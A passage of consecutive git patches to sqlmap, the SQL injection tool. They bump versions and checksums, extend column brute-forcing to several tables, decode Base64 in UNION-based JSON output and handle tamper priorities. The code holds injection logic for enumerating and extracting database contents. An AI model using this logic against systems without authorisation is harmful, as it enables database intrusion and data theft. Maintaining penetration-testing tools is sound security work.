continue From 22ddd4e8439cad81a1cdfe8dd0515907d128adb8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 6 Nov 2024 11:47:03 +0100 Subject: [PATCH 112/853] Patch for #5798 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- plugins/generic/databases.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 75ac24e8a1d..05019af1d78 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -37fff4ea53ed567d0563edcdd86b95e0f9534255e2feb13d033140fd3acabcf5 lib/core/settings.py +d21819319315ee0e2b686639f6ca426b5172d0105315a42b3d3f1a98d1f2e8ad lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -461,7 +461,7 @@ acc41465f146d2611fca5a84bd8896bc0ccd2b032b8938357aea3e5b173a5a10 plugins/dbms/v 7ac6006e0fc6da229c37fbce39a1406022e5fcc4cac5209814fa20818b8c031a plugins/dbms/virtuoso/takeover.py e6dfaab13d9f98ccffdc70dd46800ca2d61519731d10a267bc82f9fb82cd504d plugins/generic/connector.py 664be8bb4157452f2e40c4f98a359e26b559d7ef4f4148564cb8533b5ebf7d54 plugins/generic/custom.py -8f4cd6fc48882869203eaa797fea339a5afaf17306a674b384ae18d47839a150 plugins/generic/databases.py +3d118a7ddb1604a9f86826118cfbae4ab0b83f6e9bef9c6d1c7e77d3da6acf67 plugins/generic/databases.py 96924a13d7bf0ed8056dc70f10593e9253750a3d83e9a9c9656c3d1527eda344 plugins/generic/entries.py a734d74599761cd1cf7d49c88deeb121ea57d80c2f0447e361a4e3a737154c0e plugins/generic/enumeration.py 1c2e812096015eaef55be45d3a0bcd92b4db27eace47e36577aeff7b4246ad35 plugins/generic/filesystem.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 3bbc2c69d14..cb787124825 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.10.2" +VERSION = "1.8.11.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 02e8ca0b3d2..cd20f273a2b 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -948,7 +948,7 @@ def getSchema(self): self.getTables() infoMsg = "fetched tables: " - infoMsg += ", ".join(["%s" % ", ".join("'%s%s%s'" % (unsafeSQLIdentificatorNaming(db), ".." if Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) else '.', unsafeSQLIdentificatorNaming(_)) for _ in tbl) for db, tbl in kb.data.cachedTables.items()]) + infoMsg += ", ".join(["%s" % ", ".join("'%s%s%s'" % (unsafeSQLIdentificatorNaming(db), ".." if Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) else '.', unsafeSQLIdentificatorNaming(_)) if db else "'%s'" % unsafeSQLIdentificatorNaming(_) for _ in tbl) for db, tbl in kb.data.cachedTables.items()]) logger.info(infoMsg) for db, tables in kb.data.cachedTables.items(): From 282eea37435c28e20acecce5b374fec281b03da9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 6 Nov 2024 12:06:34 +0100 Subject: [PATCH 113/853] Another patch for #5798 --- data/txt/sha256sums.txt | 4 +- lib/core/settings.py | 2 +- lib/utils/brute.py | 140 ++++++++++++++++++++-------------------- 3 files changed, 74 insertions(+), 72 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 05019af1d78..502654f7efb 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -d21819319315ee0e2b686639f6ca426b5172d0105315a42b3d3f1a98d1f2e8ad lib/core/settings.py +adc1416c7893869711eda091bb4d8b0699a528f012a79377be3cf3e336b4474a lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -242,7 +242,7 @@ f948fefb0fa67da8cf037f7abbcdbb740148babda9ad8a58fab1693456834817 lib/techniques 700cc5e8cae85bd86674d0cb6c97093fde2c52a480cc1e40ae0010fffd649395 lib/techniques/union/test.py 4252a1829e60bb9a69e3927bf68a320976b8ef637804b7032d7497699f2e89e7 lib/techniques/union/use.py 6b3f83a85c576830783a64e943a58e90b1f25e9e24cd51ae12b1d706796124e9 lib/utils/api.py -1d4d1e49a0897746d4ad64316d4d777f4804c4c11e349e9eb3844130183d4887 lib/utils/brute.py +e00740b9a4c997152fa8b00d3f0abf45ae15e23c33a92966eaa658fde83c586f lib/utils/brute.py c0a4765aa80c5d9b7ef1abe93401a78dd45b2766a1f4ff6286287dc6188294de lib/utils/crawler.py 3f97e327c548d8b5d74fda96a2a0d1b2933b289b9ec2351b06c91cefdd38629d lib/utils/deps.py e81393f0d077578e6dcd3db2887e93ac2bfbdef2ce87686e83236a36112ca7d3 lib/utils/getch.py diff --git a/lib/core/settings.py b/lib/core/settings.py index cb787124825..640e0ede635 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.11.0" +VERSION = "1.8.11.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/brute.py b/lib/utils/brute.py index 89577fff8f1..2db4058fa47 100644 --- a/lib/utils/brute.py +++ b/lib/utils/brute.py @@ -228,93 +228,95 @@ def columnExists(columnFile, regex=None): columns.extend(_addPageTextWords()) columns = filterListValue(columns, regex) - table = safeSQLIdentificatorNaming(conf.tbl, True) + for table in conf.tbl.split(','): + table = safeSQLIdentificatorNaming(table, True) - if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): - table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table) + if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): + table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table) - kb.threadContinue = True - kb.bruteMode = True - - threadData = getCurrentThreadData() - threadData.shared.count = 0 - threadData.shared.limit = len(columns) - threadData.shared.files = [] + kb.threadContinue = True + kb.bruteMode = True - def columnExistsThread(): threadData = getCurrentThreadData() + threadData.shared.count = 0 + threadData.shared.limit = len(columns) + threadData.shared.files = [] - while kb.threadContinue: - kb.locks.count.acquire() - if threadData.shared.count < threadData.shared.limit: - column = safeSQLIdentificatorNaming(columns[threadData.shared.count]) - threadData.shared.count += 1 - kb.locks.count.release() - else: - kb.locks.count.release() - break + def columnExistsThread(): + threadData = getCurrentThreadData() - if Backend.isDbms(DBMS.MCKOI): - result = inject.checkBooleanExpression(safeStringFormat("0<(SELECT COUNT(%s) FROM %s)", (column, table))) - else: - result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table))) + while kb.threadContinue: + kb.locks.count.acquire() - kb.locks.io.acquire() + if threadData.shared.count < threadData.shared.limit: + column = safeSQLIdentificatorNaming(columns[threadData.shared.count]) + threadData.shared.count += 1 + kb.locks.count.release() + else: + kb.locks.count.release() + break - if result: - threadData.shared.files.append(column) + if Backend.isDbms(DBMS.MCKOI): + result = inject.checkBooleanExpression(safeStringFormat("0<(SELECT COUNT(%s) FROM %s)", (column, table))) + else: + result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table))) - if conf.verbose in (1, 2) and not conf.api: - clearConsoleLine(True) - infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column)) - dataToStdout(infoMsg, True) + kb.locks.io.acquire() - if conf.verbose in (1, 2): - status = "%d/%d items (%d%%)" % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) - dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) + if result: + threadData.shared.files.append(column) - kb.locks.io.release() + if conf.verbose in (1, 2) and not conf.api: + clearConsoleLine(True) + infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column)) + dataToStdout(infoMsg, True) - try: - runThreads(conf.threads, columnExistsThread, threadChoice=True) - except KeyboardInterrupt: - warnMsg = "user aborted during column existence " - warnMsg += "check. sqlmap will display partial output" - logger.warning(warnMsg) - finally: - kb.bruteMode = False + if conf.verbose in (1, 2): + status = "%d/%d items (%d%%)" % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) + dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) - clearConsoleLine(True) - dataToStdout("\n") + kb.locks.io.release() - if not threadData.shared.files: - warnMsg = "no column(s) found" - logger.warning(warnMsg) - else: - columns = {} - - for column in threadData.shared.files: - if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): - result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column))) - elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,): - result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s NOT GLOB '*[^0-9]*')", (column, table, column))) - elif Backend.getIdentifiedDbms() in (DBMS.MCKOI,): - result = inject.checkBooleanExpression("%s" % safeStringFormat("0=(SELECT MAX(%s)-MAX(%s) FROM %s)", (column, column, table))) - else: - result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) + try: + runThreads(conf.threads, columnExistsThread, threadChoice=True) + except KeyboardInterrupt: + warnMsg = "user aborted during column existence " + warnMsg += "check. sqlmap will display partial output" + logger.warning(warnMsg) + finally: + kb.bruteMode = False - if result: - columns[column] = "numeric" - else: - columns[column] = "non-numeric" + clearConsoleLine(True) + dataToStdout("\n") + + if not threadData.shared.files: + warnMsg = "no column(s) found" + logger.warning(warnMsg) + else: + columns = {} + + for column in threadData.shared.files: + if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): + result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column))) + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,): + result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s NOT GLOB '*[^0-9]*')", (column, table, column))) + elif Backend.getIdentifiedDbms() in (DBMS.MCKOI,): + result = inject.checkBooleanExpression("%s" % safeStringFormat("0=(SELECT MAX(%s)-MAX(%s) FROM %s)", (column, column, table))) + else: + result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) + + if result: + columns[column] = "numeric" + else: + columns[column] = "non-numeric" - kb.data.cachedColumns[conf.db] = {conf.tbl: columns} + kb.data.cachedColumns[conf.db] = {table: columns} - for _ in ((conf.db, conf.tbl, item[0], item[1]) for item in columns.items()): - if _ not in kb.brute.columns: - kb.brute.columns.append(_) + for _ in ((conf.db, table, item[0], item[1]) for item in columns.items()): + if _ not in kb.brute.columns: + kb.brute.columns.append(_) - hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True) + hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True) return kb.data.cachedColumns From 7bf9e3e7b4fef6b451e8722a7880e5343955aa04 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 6 Nov 2024 12:51:23 +0100 Subject: [PATCH 114/853] Another patch for #5798 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/techniques/union/use.py | 6 +++++- 3 files changed, 8 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 502654f7efb..d4fe04072ef 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -adc1416c7893869711eda091bb4d8b0699a528f012a79377be3cf3e336b4474a lib/core/settings.py +a867a1f50577f9e6d17bc5f4c977bab7ea817ba3d1cdea023306fdf2d2a05d61 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -240,7 +240,7 @@ f948fefb0fa67da8cf037f7abbcdbb740148babda9ad8a58fab1693456834817 lib/techniques 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/techniques/__init__.py 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/techniques/union/__init__.py 700cc5e8cae85bd86674d0cb6c97093fde2c52a480cc1e40ae0010fffd649395 lib/techniques/union/test.py -4252a1829e60bb9a69e3927bf68a320976b8ef637804b7032d7497699f2e89e7 lib/techniques/union/use.py +a78235881a80d2ce8a069a3c743b4af415ed6f0a54b120190909d1e206048259 lib/techniques/union/use.py 6b3f83a85c576830783a64e943a58e90b1f25e9e24cd51ae12b1d706796124e9 lib/utils/api.py e00740b9a4c997152fa8b00d3f0abf45ae15e23c33a92966eaa658fde83c586f lib/utils/brute.py c0a4765aa80c5d9b7ef1abe93401a78dd45b2766a1f4ff6286287dc6188294de lib/utils/crawler.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 640e0ede635..d8f79e7df9f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.11.1" +VERSION = "1.8.11.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 0a75356496a..982861b2dac 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -37,6 +37,7 @@ from lib.core.common import unArrayizeValue from lib.core.common import wasLastResponseDBMSError from lib.core.compat import xrange +from lib.core.convert import decodeBase64 from lib.core.convert import getUnicode from lib.core.convert import htmlUnescape from lib.core.data import conf @@ -126,6 +127,9 @@ def _oneShotUnionUse(expression, unpack=True, limited=False): try: retVal = "" for row in json.loads(output): + # NOTE: for cases with automatic MySQL Base64 encoding of JSON array values, like: ["base64:type15:MQ=="] + for match in re.finditer(r"base64:type\d+:([^ ]+)", row): + row = row.replace(match.group(0), decodeBase64(match.group(1), binary=False)) retVal += "%s%s%s" % (kb.chars.start, row, kb.chars.stop) except: retVal = None @@ -254,7 +258,7 @@ def unionUse(expression, unpack=True, dump=False): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial, conf.disableJson)): match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I) - if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT)\(", expression): + if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT|EXISTS)\(", expression): kb.jsonAggMode = True if Backend.isDbms(DBMS.MYSQL): query = expression.replace(expressionFields, "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (kb.chars.start, kb.chars.delimiter, expressionFields, kb.chars.stop), 1) From 8fc166197d7b86860e3efb564b4627bb1b74bb38 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 12 Nov 2024 20:51:55 +0100 Subject: [PATCH 115/853] Fixes #5802 --- data/txt/sha256sums.txt | 4 ++-- lib/core/option.py | 1 + lib/core/settings.py | 2 +- 3 files changed, 4 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d4fe04072ef..28f9740754e 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -181,14 +181,14 @@ e8f6f1df8814b7b03c3eba22901837555083f66c99ee93b943911de785736bfa lib/core/dicts 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/core/__init__.py fce3fd4b161ec1c6e9d5bf1dca5bc4083e07d616ed2c14b798e96b60ec67c2b2 lib/core/log.py 4caebf27d203673b8ad32394937397319f606c4e1f1e1a2a221402d39c644b40 lib/core/optiondict.py -1171119f6289ab981e5912e73801fe1862c7c012bc1da577df5c6497f348a85e lib/core/option.py +dcc754fd003363373b6b74631209372486ba1d2c6073d5d80b604f04d9d5e6af lib/core/option.py d2d81ee7520b55571923461a2bdfaa68dda74a89846761338408ab0acf08d3a5 lib/core/patch.py bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profiling.py 4ccce0d53f467166d4084c9ef53a07f54cc352e75f785454a31c8a820511a84e lib/core/readlineng.py 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -a867a1f50577f9e6d17bc5f4c977bab7ea817ba3d1cdea023306fdf2d2a05d61 lib/core/settings.py +3517aa0abd56c656dcecffa3ce6e1d0edb751ccf2053c8547286c5472f886e32 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/lib/core/option.py b/lib/core/option.py index 537d93f8a6d..0924cd59fbc 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -812,6 +812,7 @@ def _setTamperingFunctions(): raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__ + priority = priority if priority is not None else PRIORITY.LOWEST for name, function in inspect.getmembers(module, inspect.isfunction): if name == "tamper" and (hasattr(inspect, "signature") and all(_ in inspect.signature(function).parameters for _ in ("payload", "kwargs")) or inspect.getargspec(function).args and inspect.getargspec(function).keywords == "kwargs"): diff --git a/lib/core/settings.py b/lib/core/settings.py index d8f79e7df9f..900b1479857 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.11.2" +VERSION = "1.8.11.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 87cd5906f98b635160dc893428ed3bf26902c22e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 15 Nov 2024 17:46:24 +0100 Subject: [PATCH 116/853] Fixes #5805 --- data/txt/sha256sums.txt | 4 ++-- lib/core/option.py | 2 +- lib/core/settings.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 28f9740754e..069a79d5140 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -181,14 +181,14 @@ e8f6f1df8814b7b03c3eba22901837555083f66c99ee93b943911de785736bfa lib/core/dicts 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/core/__init__.py fce3fd4b161ec1c6e9d5bf1dca5bc4083e07d616ed2c14b798e96b60ec67c2b2 lib/core/log.py 4caebf27d203673b8ad32394937397319f606c4e1f1e1a2a221402d39c644b40 lib/core/optiondict.py -dcc754fd003363373b6b74631209372486ba1d2c6073d5d80b604f04d9d5e6af lib/core/option.py +c727cf637840aa5c0970c45d27bb5b0d077751aee10a5cd467caf92a54a211f4 lib/core/option.py d2d81ee7520b55571923461a2bdfaa68dda74a89846761338408ab0acf08d3a5 lib/core/patch.py bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profiling.py 4ccce0d53f467166d4084c9ef53a07f54cc352e75f785454a31c8a820511a84e lib/core/readlineng.py 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -3517aa0abd56c656dcecffa3ce6e1d0edb751ccf2053c8547286c5472f886e32 lib/core/settings.py +f9b5c2156613960f23c4460ce714e4fd105d4a21eaad0c02fca330286f866b48 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/lib/core/option.py b/lib/core/option.py index 0924cd59fbc..ed4afdbabe9 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -435,7 +435,7 @@ def __next__(self): def next(self): try: line = next(conf.stdinPipe) - except (IOError, OSError, TypeError): + except (IOError, OSError, TypeError, UnicodeDecodeError): line = None if line: diff --git a/lib/core/settings.py b/lib/core/settings.py index 900b1479857..4093127cd8a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.11.3" +VERSION = "1.8.11.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 8b3425ccdfc3f42b373ee1b9e5871472d903ccda Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 15 Nov 2024 18:18:25 +0100 Subject: [PATCH 117/853] Minor patch (e.g. --sql-query=SELECT 'a','b','c') --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- plugins/generic/custom.py | 8 ++++++++ 3 files changed, 11 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 069a79d5140..6c38f6ff60e 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -f9b5c2156613960f23c4460ce714e4fd105d4a21eaad0c02fca330286f866b48 lib/core/settings.py +43bcfd3c7edeaf35e7186ac106abaca93cd19f3e941aa7978dd213b0d30bfda0 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -460,7 +460,7 @@ acc41465f146d2611fca5a84bd8896bc0ccd2b032b8938357aea3e5b173a5a10 plugins/dbms/v 3c163c8135e2ab8ed17b0000862a1b2d7cf2ec1e7d96d349ec644651cdecad49 plugins/dbms/virtuoso/syntax.py 7ac6006e0fc6da229c37fbce39a1406022e5fcc4cac5209814fa20818b8c031a plugins/dbms/virtuoso/takeover.py e6dfaab13d9f98ccffdc70dd46800ca2d61519731d10a267bc82f9fb82cd504d plugins/generic/connector.py -664be8bb4157452f2e40c4f98a359e26b559d7ef4f4148564cb8533b5ebf7d54 plugins/generic/custom.py +4e150d82261308071180fe3595c2dbd777c1a3c58a6b71352df11f96db0b846e plugins/generic/custom.py 3d118a7ddb1604a9f86826118cfbae4ab0b83f6e9bef9c6d1c7e77d3da6acf67 plugins/generic/databases.py 96924a13d7bf0ed8056dc70f10593e9253750a3d83e9a9c9656c3d1527eda344 plugins/generic/entries.py a734d74599761cd1cf7d49c88deeb121ea57d80c2f0447e361a4e3a737154c0e plugins/generic/enumeration.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 4093127cd8a..725ffb48758 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.8.11.4" +VERSION = "1.8.11.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index dbfd589dcf8..308f7b887da 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -13,7 +13,9 @@ from lib.core.common import Backend from lib.core.common import dataToStdout from lib.core.common import getSQLSnippet +from lib.core.common import isListLike from lib.core.common import isStackingAvailable +from lib.core.common import joinValue from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import logger @@ -41,6 +43,7 @@ def sqlQuery(self, query): sqlType = None query = query.rstrip(';') + try: for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): for sqlStatement in sqlStatements: @@ -61,6 +64,11 @@ def sqlQuery(self, query): output = inject.getValue(query, fromUser=True) + if "SELECT" in sqlType and isListLike(output): + for i in xrange(len(output)): + if isListLike(output[i]): + output[i] = joinValue(output[i]) + return output elif not isStackingAvailable() and not conf.direct: warnMsg = "execution of non-query SQL statements is only " From 77567da54ea4a53c3fe899f25fbb3e22e6189092 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 15 Nov 2024 18:24:59 +0100 Subject: [PATCH 118/853] Minor patch for DREI --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- plugins/generic/custom.py | 